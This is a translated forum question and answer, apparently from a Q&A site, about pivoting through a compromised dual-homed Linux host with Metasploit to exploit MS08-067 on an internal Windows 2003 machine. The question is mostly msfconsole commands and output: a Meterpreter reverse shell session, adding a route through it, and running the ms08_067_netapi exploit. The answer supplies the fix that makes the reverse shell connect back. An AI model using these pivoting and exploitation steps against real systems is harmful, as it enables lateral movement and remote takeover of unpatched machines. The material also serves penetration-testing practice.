用Metasploit旋转

Question

我试图在一个双家庭Linux后面的另一个子网上利用Windows，在那里我已经有了一个shell。为了简单起见，我在Linux (192.168.47.144)和Windows (192.168.128.133)上有一个reverse_tcp外壳，它很容易受到MS08-067的攻击(我直接测试了这一点)。最后，Linux绝对可以访问Windows上的SMB服务。

ubuntu:~$ ip -o addr show | grep -o '192.168.47.144' && nc -nvv 192.168.128.133 445
192.168.47.144
Connection to 192.168.128.133 445 port [tcp/*] succeeded!

Linux上的meterpreter reverse_tcp外壳与端口5555连接，因此与端口号没有冲突。

[*] Sending stage (826872 bytes) to 192.168.47.144
[*] Meterpreter session 2 opened (192.168.47.136:5555 -> 192.168.47.144:47395) at 2017-10-08 11:21:30 -0500

msf exploit(handler) > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > route add 192.168.128.0 255.255.255.0 2
[*] Route added
msf exploit(ms08_067_netapi) > route

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.128.0      255.255.255.0      Session 2

[*] There are currently no IPv6 routes defined.
msf exploit(ms08_067_netapi) > set RHOST 192.168.128.133
RHOST => 192.168.128.133
msf exploit(ms08_067_netapi) > exploit 

[*] Started reverse TCP handler on 192.168.47.136:4444 
[*] 192.168.128.133:445 - Automatically detecting the target...
[*] 192.168.128.133:445 - Fingerprint: Windows 2003 R2 - Service Pack 2 - lang:Unknown
[*] 192.168.128.133:445 - We could not detect the language pack, defaulting to English
[*] 192.168.128.133:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.128.133:445 - Attempting to trigger the vulnerability...
[*] Exploit completed, but no session was created.

此外，我还使用LHOST 0.0.0.0和LHOST 192.168.128.132 ( Linux的.128子网地址)运行了这个程序，但也没有shell。我遗漏了什么？

我还尝试通过SSH端口进行手动操作，就像在https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/中看到的那样，并得到了相同的结果。该漏洞攻击Windows，但未打开任何会话。

这些是我一直在参考的主要帖子。

1. http://carnal0wnage.attackresearch.com/2007/09/using-metasploit-to-pivot-through_06.html
2. https://pentest.blog/explore-hidden-networks-with-double-pivoting/
3. http://www.whitelist1.com/2016/06/metasploit-double-pivoting.html

Answer 1

在Metasploit中，当您使用隧道通过计量器路由时，您的lhost将成为您的第一个目标。

因此，在这种情况下，您的LHOST应该设置为: 192.168.47.144

试试看。